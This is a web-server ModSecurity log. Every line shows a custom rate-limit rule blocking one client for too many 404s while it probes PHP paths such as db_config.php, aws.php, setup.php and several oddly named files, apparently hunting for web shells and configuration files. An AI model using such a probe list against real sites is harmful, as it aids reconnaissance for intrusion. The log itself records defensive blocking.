[Sat Apr 25 03:44:19.600179 2026] [:error] [pid 13550:tid 13586] [client 20.251.112.6:9132] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/environments.php"] [unique_id "aevIE_kGWF8b7QIlunW3NgAAAEU"]
[Sat Apr 25 03:44:20.120309 2026] [:error] [pid 38334:tid 38382] [client 20.251.112.6:9215] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/environments.php"] [unique_id "aevIFDTh7RgwQXkrqEMtnAAAAZI"]
[Sat Apr 25 03:44:20.647789 2026] [:error] [pid 38334:tid 38385] [client 20.251.112.6:9210] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/environments.php"] [unique_id "aevIFDTh7RgwQXkrqEMtnwAAAZU"]
[Sat Apr 25 03:44:21.167863 2026] [:error] [pid 38334:tid 38369] [client 20.251.112.6:9180] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/environments.php"] [unique_id "aevIFTTh7RgwQXkrqEMtoQAAAYU"]
[Sat Apr 25 03:44:21.688750 2026] [:error] [pid 13551:tid 13618] [client 20.251.112.6:9094] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/raf.php"] [unique_id "aevIFdx0sdN2M751tEwvYQAAAIo"]
[Sat Apr 25 03:44:22.211496 2026] [:error] [pid 38333:tid 38354] [client 20.251.112.6:9209] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/raf.php"] [unique_id "aevIFiyk7O9MCSE7U0CShAAAAVE"]
[Sat Apr 25 03:44:22.732913 2026] [:error] [pid 13551:tid 13613] [client 20.251.112.6:9160] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/raf.php"] [unique_id "aevIFtx0sdN2M751tEwvZAAAAIU"]
[Sat Apr 25 03:44:23.254953 2026] [:error] [pid 13638:tid 13649] [client 20.251.112.6:9096] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/raf.php"] [unique_id "aevIF8wVSJN2fgH8tfIKqAAAAMk"]
[Sat Apr 25 03:44:23.773824 2026] [:error] [pid 13550:tid 13596] [client 20.251.112.6:9100] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "aevIF_kGWF8b7QIlunW3PAAAAE8"]
[Sat Apr 25 03:44:24.292286 2026] [:error] [pid 13549:tid 13556] [client 20.251.112.6:9107] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "aevIGElUdSfKkE1AJScv4AAAAAI"]
[Sat Apr 25 03:44:24.813492 2026] [:error] [pid 13551:tid 13629] [client 20.251.112.6:9156] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "aevIGNx0sdN2M751tEwvaQAAAJU"]
[Sat Apr 25 03:44:25.336694 2026] [:error] [pid 13550:tid 13585] [client 20.251.112.6:9213] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "aevIGfkGWF8b7QIlunW3QgAAAEQ"]
[Sat Apr 25 03:44:25.859663 2026] [:error] [pid 13549:tid 13569] [client 20.251.112.6:9088] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/infos.php"] [unique_id "aevIGUlUdSfKkE1AJScv5AAAAA8"]
[Sat Apr 25 03:44:26.389607 2026] [:error] [pid 13550:tid 13586] [client 20.251.112.6:9165] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/infos.php"] [unique_id "aevIGvkGWF8b7QIlunW3RwAAAEU"]
[Sat Apr 25 03:44:26.910349 2026] [:error] [pid 13638:tid 13646] [client 20.251.112.6:9212] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/infos.php"] [unique_id "aevIGswVSJN2fgH8tfIKrAAAAMY"]
[Sat Apr 25 03:44:27.442743 2026] [:error] [pid 13551:tid 13629] [client 20.251.112.6:9155] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/infos.php"] [unique_id "aevIG9x0sdN2M751tEwvcgAAAJU"]
[Sat Apr 25 03:44:27.965336 2026] [:error] [pid 13551:tid 13622] [client 20.251.112.6:9198] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aws.php"] [unique_id "aevIG9x0sdN2M751tEwvewAAAI4"]
[Sat Apr 25 03:44:28.488178 2026] [:error] [pid 13550:tid 13601] [client 20.251.112.6:9161] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aws.php"] [unique_id "aevIHPkGWF8b7QIlunW3TQAAAFQ"]
[Sat Apr 25 03:44:29.024389 2026] [:error] [pid 13551:tid 13614] [client 20.251.112.6:9188] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aws.php"] [unique_id "aevIHdx0sdN2M751tEwvkAAAAIY"]
[Sat Apr 25 03:44:29.574722 2026] [:error] [pid 13549:tid 13554] [client 20.251.112.6:9201] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aws.php"] [unique_id "aevIHUlUdSfKkE1AJScv9wAAAAA"]
[Sat Apr 25 03:44:30.095938 2026] [:error] [pid 13551:tid 13623] [client 20.251.112.6:9101] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/embed.php"] [unique_id "aevIHtx0sdN2M751tEwvsQAAAI8"]
[Sat Apr 25 03:44:30.620521 2026] [:error] [pid 13549:tid 13576] [client 20.251.112.6:9170] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/embed.php"] [unique_id "aevIHklUdSfKkE1AJScv_wAAABY"]
[Sat Apr 25 03:44:31.140865 2026] [:error] [pid 13550:tid 13585] [client 20.251.112.6:9106] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/embed.php"] [unique_id "aevIH_kGWF8b7QIlunW3YQAAAEQ"]
[Sat Apr 25 03:44:31.660831 2026] [:error] [pid 13550:tid 13586] [client 20.251.112.6:9181] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/embed.php"] [unique_id "aevIH_kGWF8b7QIlunW3ZgAAAEU"]
[Sat Apr 25 03:44:32.185611 2026] [:error] [pid 13551:tid 13612] [client 20.251.112.6:9205] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/stat.php"] [unique_id "aevIINx0sdN2M751tEwv7AAAAIQ"]
[Sat Apr 25 03:44:32.706334 2026] [:error] [pid 38334:tid 38366] [client 20.251.112.6:9099] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/stat.php"] [unique_id "aevIIDTh7RgwQXkrqEMtqQAAAYI"]
[Sat Apr 25 03:44:33.228840 2026] [:error] [pid 13551:tid 13627] [client 20.251.112.6:9038] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/stat.php"] [unique_id "aevIIdx0sdN2M751tEwv_AAAAJM"]
[Sat Apr 25 03:44:33.753545 2026] [:error] [pid 13551:tid 13613] [client 20.251.112.6:9185] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/stat.php"] [unique_id "aevIIdx0sdN2M751tEwwBAAAAIU"]
[Sat Apr 25 03:44:34.279645 2026] [:error] [pid 38333:tid 38356] [client 20.251.112.6:9126] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/setup.php"] [unique_id "aevIIiyk7O9MCSE7U0CSnQAAAVM"]
[Sat Apr 25 03:44:34.800167 2026] [:error] [pid 13551:tid 13625] [client 20.251.112.6:9203] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/setup.php"] [unique_id "aevIItx0sdN2M751tEwwEAAAAJE"]
[Sat Apr 25 03:44:35.319899 2026] [:error] [pid 13551:tid 13628] [client 20.251.112.6:9193] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/setup.php"] [unique_id "aevII9x0sdN2M751tEwwEwAAAJQ"]
[Sat Apr 25 03:44:35.841623 2026] [:error] [pid 13549:tid 13566] [client 20.251.112.6:9094] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/setup.php"] [unique_id "aevII0lUdSfKkE1AJScwBwAAAAw"]
[Sat Apr 25 03:44:36.367597 2026] [:error] [pid 13549:tid 13572] [client 20.251.112.6:9037] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/development.php"] [unique_id "aevIJElUdSfKkE1AJScwCQAAABI"]
[Sat Apr 25 03:44:36.888861 2026] [:error] [pid 13550:tid 13596] [client 20.251.112.6:9197] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/development.php"] [unique_id "aevIJPkGWF8b7QIlunW3ggAAAE8"]
[Sat Apr 25 03:44:37.407850 2026] [:error] [pid 13550:tid 13600] [client 20.251.112.6:9124] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/development.php"] [unique_id "aevIJfkGWF8b7QIlunW3hAAAAFM"]
[Sat Apr 25 03:44:37.930017 2026] [:error] [pid 13638:tid 13640] [client 20.251.112.6:9130] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/development.php"] [unique_id "aevIJcwVSJN2fgH8tfIKsQAAAMA"]
[Sat Apr 25 03:44:38.456333 2026] [:error] [pid 13549:tid 13560] [client 20.251.112.6:9179] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/environment.php"] [unique_id "aevIJklUdSfKkE1AJScwEQAAAAY"]
[Sat Apr 25 03:44:39.003469 2026] [:error] [pid 38334:tid 38371] [client 20.251.112.6:9148] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/environment.php"] [unique_id "aevIJzTh7RgwQXkrqEMtqgAAAYc"]
[Sat Apr 25 03:44:39.523426 2026] [:error] [pid 38334:tid 38375] [client 20.251.112.6:9040] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/environment.php"] [unique_id "aevIJzTh7RgwQXkrqEMtqwAAAYs"]
[Sat Apr 25 03:44:40.041599 2026] [:error] [pid 38334:tid 38372] [client 20.251.112.6:9200] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/environment.php"] [unique_id "aevIKDTh7RgwQXkrqEMtrgAAAYg"]
[Sat Apr 25 03:44:40.573807 2026] [:error] [pid 13549:tid 13578] [client 20.251.112.6:9164] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/db_config.php"] [unique_id "aevIKElUdSfKkE1AJScwFwAAABg"]
[Sat Apr 25 03:44:41.099434 2026] [:error] [pid 38333:tid 38350] [client 20.251.112.6:9173] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/db_config.php"] [unique_id "aevIKSyk7O9MCSE7U0CSoAAAAU0"]
[Sat Apr 25 03:44:41.619390 2026] [:error] [pid 13551:tid 13609] [client 20.251.112.6:9089] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/db_config.php"] [unique_id "aevIKdx0sdN2M751tEwwIgAAAIE"]
[Sat Apr 25 03:44:42.140430 2026] [:error] [pid 38303:tid 38305] [client 20.251.112.6:9095] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/db_config.php"] [unique_id "aevIKkHCkAxGOp1fKFW58wAAAQA"]
[Sat Apr 25 03:44:49.951312 2026] [:error] [pid 44319:tid 44340] [client 20.251.112.6:9118] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/apis.php"] [unique_id "aevIMczJPAVLUb2pWtIyLAAAAAs"]
[Sat Apr 25 03:44:50.470268 2026] [:error] [pid 44319:tid 44330] [client 20.251.112.6:9177] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/apis.php"] [unique_id "aevIMszJPAVLUb2pWtIyNQAAAAE"]
[Sat Apr 25 03:44:50.990532 2026] [:error] [pid 44320:tid 44360] [client 20.251.112.6:9163] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/apis.php"] [unique_id "aevIMjmFqSpku_dij8hPYQAAAEQ"]
[Sat Apr 25 03:44:51.511287 2026] [:error] [pid 44319:tid 44346] [client 20.251.112.6:9154] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/apis.php"] [unique_id "aevIM8zJPAVLUb2pWtIyPgAAABE"]
[Sat Apr 25 03:44:52.032279 2026] [:error] [pid 44320:tid 44363] [client 20.251.112.6:9109] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asdf.php"] [unique_id "aevINDmFqSpku_dij8hPZAAAAEc"]
[Sat Apr 25 03:44:52.552698 2026] [:error] [pid 44320:tid 44369] [client 20.251.112.6:9138] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asdf.php"] [unique_id "aevINDmFqSpku_dij8hPaAAAAE0"]
[Sat Apr 25 03:44:53.070980 2026] [:error] [pid 44425:tid 44428] [client 20.251.112.6:9199] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asdf.php"] [unique_id "aevINSUl-VlItvY2tR_FVQAAAME"]
[Sat Apr 25 03:44:53.596082 2026] [:error] [pid 44321:tid 44386] [client 20.251.112.6:9112] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asdf.php"] [unique_id "aevINY1b5lV-asWa_Y78vQAAAIM"]
[Sat Apr 25 03:44:54.116304 2026] [:error] [pid 44319:tid 44330] [client 20.251.112.6:9196] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1100.php"] [unique_id "aevINszJPAVLUb2pWtIyRQAAAAE"]
[Sat Apr 25 03:44:54.636770 2026] [:error] [pid 44320:tid 44377] [client 20.251.112.6:9194] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1100.php"] [unique_id "aevINjmFqSpku_dij8hPbgAAAFU"]
[Sat Apr 25 03:44:55.156772 2026] [:error] [pid 44425:tid 44433] [client 20.251.112.6:9214] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1100.php"] [unique_id "aevINyUl-VlItvY2tR_FWAAAAMY"]
[Sat Apr 25 03:44:55.679156 2026] [:error] [pid 44425:tid 44431] [client 20.251.112.6:9102] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1100.php"] [unique_id "aevINyUl-VlItvY2tR_FWgAAAMQ"]
